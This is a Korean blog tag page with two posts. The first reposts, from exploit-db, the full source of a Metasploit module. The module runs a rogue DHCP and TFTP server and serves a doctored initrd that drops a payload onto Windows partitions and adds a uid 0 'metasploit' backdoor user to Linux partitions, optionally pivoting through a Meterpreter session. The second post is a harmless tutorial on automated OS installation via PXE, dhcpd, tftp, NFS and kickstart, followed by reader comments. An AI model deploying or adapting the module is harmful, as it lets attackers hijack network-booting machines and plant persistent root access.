'pxe'에 해당되는 글 2건

  1. 2011.08.08 PXE exploit server
  2. 2009.02.25 PXE 네트워크 부팅을 통한 OS 설치 자동화 (3)
2011.08.08 18:54

PXE exploit server

##
# $Id: pxexploit.rb 13493 2011-08-05 17:10:27Z scriptjunkie $
##
  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
  
require 'msf/core'
require 'rex/proto/tftp'
require 'rex/proto/dhcp'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::TFTPServer
  
    def initialize
        super(
            'Name'        => 'PXE exploit server',
            'Version'     => '$Revision: 13493 $',
            'Description'    => %q{
                This module provides a PXE server, running a DHCP and TFTP server. 
                The default configuration loads a linux kernel and initrd into memory that 
                reads the hard drive; placing the payload on the hard drive of any Windows 
                partition seen, and add a uid 0 user with username and password metasploit to any 
                linux partition seen.
            },
            'Author'      => [ 'scriptjunkie' ],
            'License'     => MSF_LICENSE,
            'Version'        => '$Revision: 13493 $',
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'       => 4500,
                    'DisableNops' => 'True',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal'
                        
                        }
                    ],
                ],
            'Privileged'     => true,
            'Stance' => Msf::Exploit::Stance::Passive,
            'DefaultTarget'  => 0
        )
  
        register_options(
            [
                OptInt.new('SESSION',   [ false'A session to pivot the attack through' ])
            ], self.class)
  
        register_advanced_options(
            [
                OptString.new('TFTPROOT',   [ false'The TFTP root directory to serve files from' ]),
                OptString.new('SRVHOST',   [ false'The IP of the DHCP server' ]),
                OptString.new('NETMASK',   [ false'The netmask of the local subnet', '255.255.255.0' ]),
                OptString.new('DHCPIPSTART',   [ false'The first IP to give out' ]),
                OptString.new('DHCPIPEND',   [ false'The last IP to give out' ])
            ], self.class)
    end
  
    def exploit
        if not datastore['TFTPROOT']
            datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
        end
        datastore['FILENAME'] = "update1"
        datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!
  
        # Prepare payload
        print_status("Creating initrd")
        initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))
        uncompressed = Rex::Text.ungzip(initrd)
        payl = payload.generate
        uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl
        initrd = Rex::Text.gzip(uncompressed)
  
        # Meterpreter attack
        if framework.sessions.include? datastore['SESSION']
            client = framework.sessions[datastore['SESSION']]
            if not client.lanattacks
                print_status("Loading lanattacks extension...")
                client.core.use("lanattacks")
            end
  
            print_status("Loading DHCP options...")
            client.lanattacks.load_dhcp_options(datastore)
            1.upto(4) do |i|
                print_status("Loading file #{i} of 4")
                if i < 4
                    contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
                else
                    contents = initrd
                end
                client.lanattacks.add_tftp_file("update#{i}",contents)
            end
            print_status("Starting TFTP server...")
            client.lanattacks.start_tftp
            print_status("Starting DHCP server...")
            client.lanattacks.start_dhcp
            print_status("pxesploit attack started")
            return
        end
  
        # normal attack
        print_status("Starting TFTP server...")
        @tftp = Rex::Proto::TFTP::Server.new
        @tftp.set_tftproot(datastore['TFTPROOT'])
        @tftp.register_file('update4',initrd)
        @tftp.start
  
        print_status("Starting DHCP server...")
        @dhcp = Rex::Proto::DHCP::Server.new( datastore )
        @dhcp.start
        print_status("pxesploit attack started")
  
        # Wait for finish..
        @tftp.thread.join
        @dhcp.thread.join
        print_status("pxesploit attack completed")
    end
  
end


출처 : exploit-db.com

Trackback 0 Comment 0
2009.02.25 11:52

PXE 네트워크 부팅을 통한 OS 설치 자동화

PXE(Preboot Execution Environment)란 운영체제가 설치되어 있지 않는 원격지의 컴퓨터를 네트워크 도메인에 참가시키는 것만으로도 부팅을 시킬 수 있는 환경을 말한다. 말은 되게 어려워 보이는데 실제로는 아주 간단한 기능으로 동작을 한다. 

요즘에 출시되는 대부분의 메인보드들은 PXE를 지원한다. BIOS설정에서 찾아보면 PXE라 든지 Network on boot rom과 같은 옵션들이 보이는 보드들은 PXE를 지원하는 보드들이다. 이 기능을 활성화 한 다음 부트 오더에 가장 첫번째에 LAN을 두면 활성화 된다. 보드 별로 설정하는 방법이 상이 할 수 있으니 보드 메뉴얼을 참조 하여 PXE를 활성화 하도록 하자

PXE의 기본 동작을 보면 위와 같은 구성으로 되어있다. PXE는 기본적으로 클라이언트이기 때문에 서버가 필요하다. 서버에는 DHCP 서버와 tftp서버 그리고 초기 램디스크 이미지(initrd.img)와 커널 이미지(vmlinuz)가 있으면 모든 준비가 된다.

일단 서버의 설치는 나중에 보도록 하고 먼저 PXE의 코드에서 가장 먼저 실행되는 것은 DHCP 클라이언트이다. 서버로 부터 IP를 가져오기 위해 DHCP 리퀘스트를 전송하면 서버에서는 적당한 IP를 하나 던져 주는데 일반적인 DHCP 응답 메시지가 아니라 PXE를 위한 부가적인 옵션을 전송하도록 설정을 해야한다. 이렇게 DHCP 서버로 부터 IP를 할당 받은 후에는 tftp 프로토콜을 이용하여 초기 램디스크 이미지와 커널이미지를 서버로부터 다운로드 받게 된다.

tftp는 이름에서도 알 수 있듯이 ftp와 비슷하지만 전혀 다른 프로토콜이다. udp를 사용하는 파일전송 프로토콜로 파일전송과정이 아주 단순하고 데이터의 완전한 전송을 보장하지는 못한다. 하지만 아주 가볍고 프로토콜이 간단하기 때문에 커널이미지의 전송과 같은 업로드에 많이 사용된다. 이렇게 전송받은 초기 램디스크 이미지와 커널 이미지로 부팅을 하게 되는 것이다. 

글이 복잡해 보이지만 간단하게 IP 할당 받고 커널 이미지 전송받고 부팅한다. 라고 생각하면 된다.

1. 네트워크 구성
서버에는 100.100.100.1을 할당하고 L2 스위치(또는 허브)에는 리눅스를 설치할 클라이언트를 연결하였다. 이제 서버에 dhcpd와 tftp 서버를 올려서 PXE부팅이 가능하도록 설정하면 된다.

2. DHCPD 설정
linux에서의 DHCP 서버의 지원은 dhcpd가 하고 있다. dhcpd를 yum이나 rpm 또는 소스로 설치를 한다음 /etc/dhcpd.conf 파일을 수정한다.

ddns-update-style ad-hoc;

ignore client-updates;
default-lease-time 600;
max-lease-time 7200;
option routers 100.100.100.1;
option subnet-mask 255.255.255.0;

subnet 100.100.100.0 netmask 255.255.255.0 {
        range 100.100.100.2 100.100.100.254;
}

option root-path "/tftpboot";
filename "pxelinux.0";

설정을 잠깐 살펴보면 100.100.100.2 ~ 254 까지의 IP를 클라이언트에 할당하게 하고 디폴트 라우팅은 100.100.100.1로 주도록하였다. option root-path "/tftpboot 는 나중에 tftp 설치때 지정할 루트 디렉토리로 설정하였다. filename "pxelinux.0"은 SYSLINUX를 설치하면 볼 수 있는 파일로 네트워크 서버를 통한 부팅을 사용할 때 필수적인 파일으로 Intel PXE의 스펙에 맞는 네트워크 ROM이다.

# service dhcpd start

3. tftpd 설치
tftpd는 위에서도 잠깐 설명했듯이 ftp와는 전혀 다른 프로토콜이지만 하는 기능은 비슷하다. ftp에 비해 프로토콜이 단순하며 전송된 파일의 유효성을 검증하지는 못한다. udp 프로토콜을 사용하므로 실제로 전달 받은 파일에 에러가 있더라도 검출해내지 못한다는 뜻이다. 하지만 커널이미지와 같은 아주 작은 파일을 전송할 경우에 에러가 나는 경우는 거의 없다고 해도 무방할정도로 신뢰성이 보장되는 프로토콜이며 단순하고 가벼워서 임베디드 시스템에서 많이 사용되는 프로토콜이다.

배포판 리눅스에서는 보통 xinetd라는 인터넷 접속 관리 서비스와 많이 연계되어서 사용되어진다. xinetd는 접속 포트에 대해 접속 권한 제어와 같은 역할을 하는데 자세한 사항은 따로 찾아보도록 하자. 물론 tftpd를 standalone 방식으로 사용할 수 있기도 하지만 여기서는 xinetd에 연계하여 사용하는 방식으로 설명하겠다.

tftp를 설치한 후 /etc/xinetd.d 에 들어가면 xinetd가 관리하는 여러 접속 프로그램에 대한 설정 들이 있다. echo, time 서비스 등등 여러 포트에 대한 접속 제어 파일을 볼 수 있는데 여기에다 tftp에 대한 설정을 추가 하도록 하자.
service tftp
{
        socket_type             = dgram
        protocol                = udp
        wait                    = yes
        user                    = root
        server                  = /usr/sbin/in.tftpd
        server_args             = -s /tftpboot
        disable                 = no
        per_source              = 11
        cps                     = 100 2
        flags                   = IPv4
}

tftp라는 이름으로 파일을 생성하고 위와 같이 타이핑을 하도록 한다. in.tftpd는 xinetd를 사용하여 서비스를 시작할 때 사용되는 명령어이며 -s /tftpboot는 /tftpboot를 루트 디렉토리로 사용하겠다는 의미이다. disable 항목을 no로 넣으면 xinetd가 실행할 때 tftp 서비스를 실행시켜 준다.

# service xinetd start

NFS(Network File System) 서비스는 원격지의 PC가 지정한 디렉토리를 마운트하여 사용할 수 있도록 해주는 서비스입니다.

/etc/exports 파일을 수정합니다.

/nfs/fedora5 *(ro)

/nfs/fedora5 디렉토리를 *(모든 IP)에 대해서 ro(읽기 전용)으로 허용한다는 의미입니다.
/nfs/fedora5 디렉토리를 생성하고 fedora 미러 사이트에서 FC5 ISO 이미지를 다운로드 받아 복사합니다.

# service nfs start

4. pxelinux.0 및 램 디스크 이미지, 커널 이미지의 설정


위와 같이 파일들을 배치하도록한다.

pxelinux.0는 syslinux를 설치하면 /usr/lib/syslinux 디렉토리 및에서 찾아 볼 수 있다. 이 파일을 복사하여 /tftpboot/에 집어 넣도록한다.

# cp /usr/lib/syslinux/pxelinux.0 /tftpboot

램 디스크 이미지와 커널 이미지는 배포판 시디에 보면 /images/pxeboot/ 디렉토리에 initrd.img와 vmlinuz라는 파일이 있다 이 파일들이 각각 램 디스크 이미지와 커널 이미지이다. 이 파일을 복사하여 /tftpboot/배포판이름/ 에 집어 넣도록 하자.

그런 다음 pxelinux.cfg 디렉토리(파일이 아니다)를 생성하고 그 디렉토리에서 default라는 파일을 생성하도록 한다. PXE에서는 pxelinux.cfg에 있는 설정파일을 읽게 되는데 일치하는 설정이 없을 경우 마지막으로 default를 읽게 된다.

# mkdir /tftpboot/pxelinux.cfg

/tftpboot/pxelinux.cfg/default 파일을 생성한다.

default install
prompt 1
timeout 300

label install
        kernel vmlinuz
        append initrd=initrd.img

LABEL fedora5
        MENU LABEL fedora5
        kernel fedora5/vmlinuz
        append ksdevice=link load_ramdisk=1 initrd=fedora5/initrd.img network ks=nfs:100.100.100.1:/nfs/ks/fedora5.cfg
menu.c32를 이용하여 메뉴를 만들어 설치할 os나 설정등을 선택하도록 만들 수도 있지만 설명이 길어지므로 생략하도록 한다. 위의 append 옵션을보면 nfs를 사용하여 서버IP에 있는 kickstart 파일을 읽어오도록 설정하였다.

이렇게 설정을 완료하면된다. 마지막으로 nfs를 사용하여 OS 배포판의 이미지를 올리고 kickstart파일을 작성하여 자동으로 설치되도록 할 수 있다.

# cp /media/cdrom/images/pxeboot/vmlinuz /tftpboot
# cp /media/cdrom/images/pxeboot/initrd.img /tftpboot


참고자료
- PXE Booting in Debian : http://wiki.kldp.org/wiki.php/PXEBootingInDebian/
- TFTP + PXE + syslinux + Fedora install

Trackback 0 Comment 3
  1. 구경꾼 2009.10.29 13:17 address edit & del reply

    프로젝트로 관련 과제를 하고 있는데, 기본 이해에 많은 도움이 되었습니다.
    웹에 자료는 영어투성이라-_- 보다가 질리겠더군요.
    감사합니다.

  2. 개태짱 2015.09.10 14:30 address edit & del reply

    pxelinux.0 부분 경로 맞나요?
    cp /usr/lib/syslinux/ -> lib이 아니라 /usr/share아닌지;